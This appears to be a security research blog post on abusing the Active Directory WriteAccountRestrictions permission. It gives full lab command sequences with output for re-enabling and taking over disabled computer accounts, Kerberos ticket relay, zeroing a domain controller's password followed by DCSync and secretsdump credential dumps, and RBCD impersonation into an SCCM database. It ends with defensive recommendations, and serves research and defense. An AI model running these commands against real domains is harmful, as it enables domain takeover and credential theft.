WriteAccountRestrictions (WAR) – What is it good for?
Oct 1 2025
By: Garrett Foster • 21 min read
TL;DR A lot of things. The User-Account-Restrictions property grants read/write permissions to the user-account-control LDAP attribute, which can be used to manipulate account and security settings. Delegating write permissions for the property set is also typically combined with “force password reset” for domain join operations. If misconfigured, the principal with these permissions could, at a minimum, compromise accounts or, at worst, compromise the domain.
Acknowledgements
The research I’m sharing here is the result of collaboration with or inspiration from the prior work of several people: Duane Michael (@subat0mik), Will Schroeder (@harmj0y), Elad Shamir (@elad_shamir), Dirk-jan Mollema (@_dirkjan), Oddvar Moe (@Oddvarmoe), and Tom Tervoort.
Intro
While preparing for my Black Hat presentation on abusing Windows server failover clusters earlier this year, I was collecting data on misconfigurations that resulted in attack paths that could lead to the compromise of the cluster. By far the most common path was the relationship shown below, where a built-in security group, such as “Domain Computers” or “Everyone,” had the WriteAccountRestrictions (WAR) permission on cluster virtual accounts.

If you’re not familiar, the WAR edge represents the User-Account-Restrictions property set that includes the right to modify the msDS-AllowedToActOnBehalfOfOtherIdentity
property and abuse resource-based constrained delegation (RBCD) to impersonate users and compromise the target system. Abusing this edge was originally shared by Dirk-jan Mollema in his blog Abusing forgotten permissions on computer objects in Active Directory. Dirk-jan demonstrates how the permission appears on computer account objects when the object is pre-created, and the right to join it to the domain is delegated to an identity other than the default Domain Admins security group.

I assumed that this permission only appears when a computer account is staged. This assumption also led to my conclusion that admins must be following Microsoft’s guidance and choosing to stage the cluster virtual accounts, then misconfiguring the permissions for the account somehow. Ideally, I wanted to have some type of evidence that supported this theory, but I was never able to find a post, comment, tweet, or anything that suggested granting excessive permissions to the virtual accounts. Instead, I resigned to attributing it to either human error or automation, and that it must not be something easily attributable.
The Problem
Fast forward to when Duane Michael and I were working on a BloodHound Scentry assessment. For these types of projects, we work with existing BloodHound Enterprise clients to conduct manual attack path discovery and research that goes beyond what the product currently supports. We were walking back how a user account configured as a domain join service account had a significant amount of WAR edges on computer objects. This isn’t unusual. Across all of our BHE clients, attack paths involving abuse of the WAR edge are easily in the top 10 most common. What was strange, though, was that the account didn’t just have an edge to the typical enterprise workstation accounts. Instead, it had an edge to every computer object in the domain. Even stranger, the permission was set on accounts that were created several years before the service account, which conflicted with my current understanding that it gets applied when the computer object is created.
BloodHound 8.0 released several new features, which may have been lost in the hype of OpenGraph, including the ability to track access control inheritance. In the release blog, Justin highlighted how the feature enables defenders to remediate issues, but it is also incredibly useful for research, as it now allows us to pinpoint exactly where the permission is coming from.

Using this feature, we found that WAR was inherited from the domain root object, which meant an admin intentionally configured it. That sentence probably raises some eyebrows, but there are numerous references that recommend delegating all kinds of permissions at this level. Here’s one example:

Further, searching for guides on delegating domain join permissions results in conflicting advice and recommendations on which principals to grant permissions to and to which container. But one requirement that is consistent is to grant WAR to the service account, particularly for scenarios that require the reuse of an existing account. Below is an example of a Google search for results prior to Dirk-jan’s blog being published.

Better yet, here is a screenshot from Microsoft’s recently updated minimum permissions guidance (as of 9/19/2025) for Active Directory domain join permissions.

It turns out it wasn’t some sort of automation or copying golden accounts that created the permissions. Instead, the answer is simply that an admin was doing as recommended. Realizing this was frustrating because multiple resources I’d reviewed for staging cluster accounts recommended setting this permission, but it was also gratifying because it was really bothering me. Now that we have that figured out, let’s dig in a bit.
UserAccountControl – Not that one, the other one

You may have noticed that Microsoft is recommending granting WAR for “…updating UserAccountControl.” I’m not really sure why we’re using a property set for a single permission, but if we use Dirk-jan’s script to list out all of the permissions included in the property set, UserAccountControl
(UAC) is included.

UAC is an LDAP attribute that can control account and security settings for users and computer objects. The properties are stored as bitwise flags and are cumulative. For example, a standard computer account will have a decimal value of 4096, which represents the WORKSTATION_TRUST_ACCOUNT
property. If an admin were to later disable that account, the UAC value would be updated to 4098 due to the addition of the ACCOUNTDISABLE
property flag represented by the decimal value 2.
My first thought regarding control of this attribute went straight to manipulating Kerberos delegation, but Will covered why that’s not possible years ago. Modifying these settings is restricted to members of the BUILTIN\Administrators domain security group or accounts with the SeEnableDelegationPrivilege. So, no such luck forcing Unconstrained Delegation everywhere.
Something I’ve noticed over my career attacking AD is that admins really don’t like to delete unused accounts. They’ll disable them and keep them around “just in case,” like a millennial refusing to throw out their old cell phone boxes. Accounts like retired Exchange servers or decommissioned MSSQL databases would linger and be forgotten. If these accounts are in the inheritance path, a principal with WAR can enable them through UAC.
Let’s build on that by considering the other recommended permissions. The combination of resetting a password and enabling the account is a direct path to account takeover. A sysadmin might consider retirement at the thought of an Exchange server’s corpse being necro’d to compromise a domain. But the ForceChangePassword edge hasn’t been collected for computer objects because it’s problematic for pathfinding.

There’s often some confusion about how machine account passwords are managed. So much so that Steve Syfuhs broke it down a few years ago in his blog On Computer Passwords. The key thing to know is computers are responsible for resetting their own passwords and follow a simple flow shown below.

If we were to force a password change on a computer account, we would completely skip the final step where the Netlogon service on the physical computer updates its new password. This breaks the trust with the domain because the physical computer tries to authenticate and authorize clients with its old password. As a result, this breaks pathfinding for scenarios where the attack path leads to a user session because now only local authentication works, and all domain authentication fails. Though I do have some ideas on how to get around this… Anyway, with post-processing in BloodHound, this is a solvable problem. For pathfinding, we can create the logic to only return paths to disabled computer accounts, which are non-destructive. Soon™
Attack Path Demos
In the meantime, I’ve tweaked Dirk-jan’s BloodHound collector to parse computer objects for inbound UserForceChangePassword permissions so that we can model the paths that we can’t currently see. For the test environment, I’ve rebuilt what was observed during the Scentry assessment and delegated the minimum recommended permissions to a domain join account at the domain root. We are assuming we’ve recovered the domain join account credential in some fashion and are testing from the perspective of a drop box. And, to get ahead of it: yes, if this permission exists, you could technically RBCD every computer, but I’m exploring new paths.
Attack Path 1 – Resurrecting Computers with Unconstrained Delegation

Previously, abuse of this path would have been impossible with WAR alone, because what made it traversable was the ability to configure RBCD and impersonate users to compromise the live host. This isn’t possible when there is no physical host to authenticate to. However, by collecting ForceChangePassword
, we have a path. I suspect that this ACE is probably present everywhere we see a singular edge from an identity to a computer with WAR. It could be worth parsing the DACL for the target account until BloodHound is updated.
To abuse this path, we first need to enable the account by updating the UAC value. Remember, it’s cumulative, so simply subtract two from the current value.
┌──(ldeep)─(kali㉿sccm-kali)-[~/ldeep]
└─$ ldeep ldap -u domain_join \
-p password \
--domain unsigned-sh0rt.net \
-s ldap://10.6.10.10 \
change_uac "CN=IPHONE4-BOX,OU=SERVERS,DC=UNSIGNED-SH0RT,DC=NET" 16781312
[+] UAC successfully changed for CN=IPHONE4-BOX,OU=SERVERS,DC=UNSIGNED-SH0RT,DC=NET
Next, reset the account’s password.
┌──(impacket)─(kali㉿sccm-kali)-[~/ldeep]
└─$ changepasswd.py unsigned-sh0rt.net/iphone4-box\$@10.6.10.10 \
-altuser domain_join \
-altpass password \
-reset -newpass thebestiphone
Impacket v0.13.0.dev0+20250924.234900.2e518256 - Copyright Fortra, LLC and its affiliated companies
[*] Setting the password of unsigned-sh0rt.net\iphone4-box$ as unsigned-sh0rt.net\domain_join
[*] Connecting to DCE/RPC as unsigned-sh0rt.net\domain_join
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.
We need valid AES keys, so use the new password to update the credentials as the machine account.
┌──(impacket)─(kali㉿sccm-kali)-[~/ldeep]
└─$ changepasswd.py unsigned-sh0rt.net/iphone4-box\$:thebestiphone@10.6.10.10 -newpass thebestiphone
Impacket v0.13.0.dev0+20250924.234900.2e518256 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of unsigned-sh0rt.net\iphone4-box$
[*] Connecting to DCE/RPC as unsigned-sh0rt.net\iphone4-box$
[*] Password was changed successfully.
Thanks to Kevin Robertson, it’s well known that “Authenticated Users” can create new DNS records. It’s also true that machine accounts have full control over their existing DNS record by default. With control of the machine account, if the DNS entry already exists, we can update that record to point to our attacker machine.
┌──(impacket)─(kali㉿sccm-kali)-[~/krbrelayx]
└─$ python3 dnstool.py -u unsigned-sh0rt.net\\iphone4-box\$ \
-p thebestiphone -a modify \
-r iphone4-box.unsigned-sh0rt.net \
-d 10.6.10.100 ldap://10.6.10.10
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Modifying record
[+] LDAP operation completed successfully
Now, we need AES keys to use with krbrelayx.py to capture incoming tickets.
┌──(impacket)─(kali㉿sccm-kali)-[~/aesKrbKeyGen]
└─$ python3 aesKrbKeyGen.py -d unsigned-sh0rt.net -user iphone4-box\$ -pass thebestiphone -host
[*] Salt: UNSIGNED-SH0RT.NEThostiphone4-box.unsigned-sh0rt.net
[+] AES256 Key: 7FCF7FE304A41955CBC8E423DF164BB6459FBE2EDADF47CD73AFC7AF12C82085
[+] AES128 Key: 21DC7C3978DA444B146C59069B77BD4A
And finally, coerce the target host back to the attacking machine.
┌──(kali㉿sccm-kali)-[~]
└─$ python3 /opt/tools/krbrelayx/krbrelayx.py -aesKey 7fcf7fe304a41955cbc8e423df164bb6459fbe2edadf47cd73afc7af12c82085
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.6.10.10
[*] Got ticket for DC01$@UNSIGNED-SH0RT.NET [krbtgt@UNSIGNED-SH0RT.NET]
[*] Saving ticket in DC01$@UNSIGNED-SH0RT.NET_krbtgt@UNSIGNED-SH0RT.NET.ccache
[*] SMBD: Received connection from 10.6.10.10
[*] Got ticket for DC01$@UNSIGNED-SH0RT.NET [krbtgt@UNSIGNED-SH0RT.NET]
[*] Saving ticket in DC01$@UNSIGNED-SH0RT.NET_krbtgt@UNSIGNED-SH0RT.NET.ccache
Attack Path 2 – Remember Zerologon?
Zerologon, discovered by Tom Tervoort back in September 2020, was a bug in the Netlogon remote protocol that allowed anyone with just network access to a domain controller alone to elevate to domain admin. I won’t go too deep into the details of the bug itself, but the piece that’s relevant for this conversation is that the result of the exploit was that the DC’s password was set to null or a blank password.
I mentioned before that attack paths with WAR are common. In our Scentry assessment example, the finding was due to an excessive number of outbound permissions (every single computer object). The other finding we see frequently is that top level groups, like “Domain Users” or “Authenticated Users,” will have the permission set on Tier 0 objects, including domain controllers. Again, I suspect that the “ForceChangePassword” ACE is probably present everywhere we see a singular WAR edge from an identity to a computer. I can’t imagine a scenario where only the WAR permission is delegated. In the worst case scenario, if the “ForceChangePassword” ACE is present, any authenticated user can Zerologon the DC.
The flow for Zerologon was a four-step process that can be replicated:
- Set the target DC’s password to null
- DCSYNC the DC by authenticating to itself with an empty password
- Recover a domain admin’s hashed credentials
- Use the domain admin credential to recover the DC’s machine account password from LSA secrets
- Restore the DC’s password
I’ve automated this whole attack in a POC tool SetZeroSync, and I’m including the manual steps as well to show what’s being done behind the scenes.
Disclaimer: This was all done in a lab as a proof of concept and wasn’t tested in production! I’m using off-the-shelf Impacket libraries that will absolutely get swatted by EDR during the credential extraction steps. Do not run this in prod. You could brick the DC.
The first step is to set the target DC’s password to null.
(setzerosync) ➜ SetZeroSync git:(main) ✗ uv run setzerosync.py -u domain_join -p password -d unsigned-sh0rt.net -dc-ip 10.6.10.10 -dc dc01\$ -da domainadmin
[*] Searching for DC...
[*] Setting empty password on DC
[+] DC password zeroed out!
Press enter to continue demo...
With the DC’s password zeroed out, we can recover a domain admin’s hash by authenticating as the target DC without a password.
[*] Searching for target domain admin...
[+] Got target user domainadmin hash: 8846f7eaee8fb117ad06bdd830b7586c
Press enter to continue demo…
┌──(venv)─(kali㉿sccm-kali)-[~/BloodHound.py]
└─$ secretsdump.py unsigned-sh0rt.net/dc01\$@10.6.10.10 -just-dc-user domainadmin -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
domainadmin:1105:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
[*] Kerberos keys grabbed
domainadmin:aes256-cts-hmac-sha1-96:11faac77cf8881e39654c0e6d3f5d7bf38f3e8bfaf5b44254167bc0ce07c4b51
domainadmin:aes128-cts-hmac-sha1-96:0cd57f99dbb685d575d72aa19acb9692
domainadmin:des-cbc-md5:3761f8d6bcf17aad
[*] Cleaning up...
Using the recovered domain admin’s NT hash, extract the hex-encoded password for the DC from LSA secrets.
[*] Trying to get DC hex password...
[*] Dumping LSA secrets only
[+] Got target DC hex pass!
[+] Got DC hexpass: 1af70b45ed6bbb3a8eb7d7c4baa2d197bb1d3c35d08aa0087dc456240b464cd377ab335861b647c3a3f60dd898cbbd88dc2549dd8264fa0c043d116e3aa46c719c9a73483d94e8d3943ae42ffe0cd92de40442855dfe422b8e6efee838eebcbb511e43649c29f60ebb3bacf801d4a3ba4d65ff0e6e2572a6f5d2086a742d1143e9a78e136f9ffc67f0bd38a0852760d63e21eaf25a7b8fdd8bb27a914bf67925dfef381abc102ad0c50e1792da26ab7c0169243bc339c6d0a39f4fdd3d14d69f5cf0dfcdc6699d726a96658022a550df8eeeec0167eec7935e559ecc1e9c69a15d547252e03b58b3b0863cef7e2995a4
Press enter to continue demo...
┌──(venv)─(kali㉿sccm-kali)-[~/BloodHound.py]
└─$ secretsdump.py unsigned-sh0rt.net/domainadmin@10.6.10.10 -hashes :8846f7eaee8fb117ad06bdd830b7586c
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x9c341882b69a4603cb73047e8404741e
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
unsigned-sh0rt\DC01$:aes256-cts-hmac-sha1-96:a36e0da346ab0a73f105539daa1e88058d375f317b544d8bd4b57a3e398897cc
unsigned-sh0rt\DC01$:aes128-cts-hmac-sha1-96:ef2ed54c4690b9c5110223d5ab76ea24
unsigned-sh0rt\DC01$:des-cbc-md5:8351610eeff82f07
unsigned-sh0rt\DC01$:plain_password_hex:1af70b45ed6bbb3a8eb7d7c4baa2d197bb1d3c35d08aa0087dc456240b464cd377ab335861b647c3a3f60dd898cbbd88dc2549dd8264fa0c043d116e3aa46c719c9a73483d94e8d3943ae42ffe0cd92de40442855dfe422b8e6efee838eebcbb511e43649c29f60ebb3bacf801d4a3ba4d65ff0e6e2572a6f5d2086a742d1143e9a78e136f9ffc67f0bd38a0852760d63e21eaf25a7b8fdd8bb27a914bf67925dfef381abc102ad0c50e1792da26ab7c0169243bc339c6d0a39f4fdd3d14d69f5cf0dfcdc6699d726a96658022a550df8eeeec0167eec7935e559ecc1e9c69a15d547252e03b58b3b0863cef7e2995a4
unsigned-sh0rt\DC01$:aad3b435b51404eeaad3b435b51404ee:b34964929e47afd71a96eabb55797d7b:::
And finally, restore and then validate it was successful.
[*] Restoring DC password with hexpass
[+] DC password restored successfully!
└─$ secretsdump.py unsigned-sh0rt.net/dc01\$@10.6.10.10 -just-dc-user domainadmin
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Cleaning up...
How about user objects?

I mentioned I’d touch on this later. From the screenshot I shared, googling for WAR permission recommendations, I found an article about a workaround suggested by Microsoft to help resolve issues unlocking user accounts that “…May affect the security of the domain.” Let’s explore how.

We now know that WAR includes the modification of UAC. This means a principal with this permission could enable or disable user accounts, or remove the NOT_DELEGATED flag to allow the account to be impersonated during Kerberos delegation. Another example is that you could enable reversible encryption for the account by adding ENCRYPTED_TEXT_PWD_ALLOWED and then forcing a password reset by setting PASSWORD_EXPIRED so that the user’s new credential can be decrypted to plaintext when you elevate and DCSYNC.
You’ve likely heard of abusing an edge, such as GenericWrite or WriteSPN, to perform Targeted Kerberoasting, but with WAR (or write to UAC), we can add DONT_REQ_PREAUTH to the user’s UAC and perform a Targeted ASREPRoast. This isn’t new or novel; Will once again was talking about this years ago in his blog, Roasting AS-REPs; we just have another permission to check for.

Remember, WAR also grants the ability to perform RBCD. This is almost always associated with compromising computers rather than users because the attack involves impersonating privileged users to services on the host. But what about service accounts?
Let’s assume we have control of an account that’s been delegated WAR to the domain root for user objects. We’ll also assume the AD defaults of Authenticated Users being granted the SeMachineAccountPrivilege user rights assignment and the ms-DS-MachineAccountQuota attribute is set to 10.

Abusing RBCD for users is highly situational because it will require knowledge of how the destination service is configured. The user could be configured as the service account to a random web service that may not result in any type of host compromise. I’m sharing an example from SCCM because it’s an easy assumption on how the service is configured due to the known requirement for certain roles to be granted the MSSQL SA role in the site database
First, add a new machine account
┌──(venv)─(kali㉿sccm-kali)-[~]
└─$ addcomputer.py unsigned-sh0rt.net/war_user:password -dc-ip 10.6.10.10 -computer-name demo\$ -computer-pass demo
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account demo$ with password demo.
Delegate RBCD to the created machine for the services the target user account is configured for
┌──(venv)─(kali㉿sccm-kali)-[~]
└─$ rbcd.py unsigned-sh0rt.net/war_user:password -delegate-to SQLSCCMSVC -delegate-from demo\$ -action write
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] demo$ can now impersonate users on SQLSCCMSVC via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] demo$ (S-1-5-21-2342817230-4275203034-1025459682-112
Generate a service ticket impersonating the sccm-siteserv$ machine account to the MSSQLSVC the account is configured for
┌──(venv)─(kali㉿sccm-kali)-[~]
└─$ getST.py unsigned-sh0rt.net/demo\$:demo -impersonate sccm-sitesrv\$ -spn 'MSSQLSvc/sccm-sql.unsigned-sh0rt.net:1433'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating sccm-sitesrv$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in sccm-sitesrv$@MSSQLSvc_sccm-sql.unsigned-sh0rt.net:1433@UNSIGNED-SH0RT.NET.ccache
Authenticate to the database as the site server to compromise SCCM
┌──(venv)─(kali㉿sccm-kali)-[~]
└─$ KRB5CCNAME=sccm-sitesrv\$@MSSQLSvc_sccm-sql.unsigned-sh0rt.net:1433@UNSIGNED-SH0RT.NET.ccache mssqlclient.py @sccm-sql.unsigned-sh0rt.net -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(sccm-sql): Line 1: Changed database context to 'master'.
[*] INFO(sccm-sql): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (unsigned-sh0rt\SCCM-SITESRV$ dbo@master)> use CM_123;
ENVCHANGE(DATABASE): Old Value: master, New Value: CM_123
INFO(sccm-sql): Line 1: Changed database context to 'CM_123'.
Defensive Recommendations
- Audit domain level or broad delegations. While it may be true that delegating to a lower child container of the domain object could prevent DCs from inheriting permissions, inheritance will apply to the child objects of whatever container the permissions are delegated to. Determine whether delegated permissions are still required and ensure they are granted to the lowest possible level.
- Consider a staging OU for operating system deployment. This won’t remove the permissions inherited by the domain join account, but it will prevent retroactive application of permissions, like what we observed during our Scentry assessment.
- If you must retain disabled accounts, consider a graveyard OU where inheritance is disabled.
Final/Random Thoughts
- There are several other property sets that I didn’t go over because this was getting lengthy. The Public-Information property set is interesting, too. It includes write to altSecurityIdentities (ESC14), servicePrincipalName, and userPrincipalName. Jonas has an open PR here that collects this if you want to learn more.
- Seems like some of these property sets could be used for persistence.
- Delegation is weird. Similar permissions show up when you delegate creation of managed service accounts, among others.